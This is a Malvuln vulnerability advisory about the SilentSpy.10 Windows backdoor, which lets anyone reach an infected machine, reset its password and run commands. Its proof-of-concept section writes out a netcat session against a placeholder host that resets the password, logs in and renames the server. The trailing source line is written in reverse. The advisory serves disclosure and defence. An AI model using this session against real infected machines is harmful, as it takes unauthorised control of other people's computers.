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Backdoor.Win32.SilentSpy.10 / Authentication Bypass Command Execution

2022-01-03 02:30
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/a7ce38e60cf08f2b234f34043b87e701.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SilentSpy.10
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP ports 21, 7007. Third-party
attackers who can reach an infected system can change the server password
on the fly using the !SETSERVPASS! command, logon and run commands made
available by the malware.
Type: PE32
MD5: a7ce38e60cf08f2b234f34043b87e701
Vuln ID: MVID-2021-0440
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 7007
!SETSERVPASS! abc123
!STATUS!Server password has been changed

!PASS! abc123
!PASSOK!!STATUS!Connnected to º∩LΘn7 ºp

!SYMBOL!
!STATUS!Symbol has been drawn

!SETSERVNAME! HATE
!STATUS!Server name has been changed

nc64.exe x.x.x.x 7007
!PASS! abc123
!PASSOK!!STATUS!Connnected to HATE


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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Source: 01/naJ/2202/erusolcsidlluf/gro.stsilces

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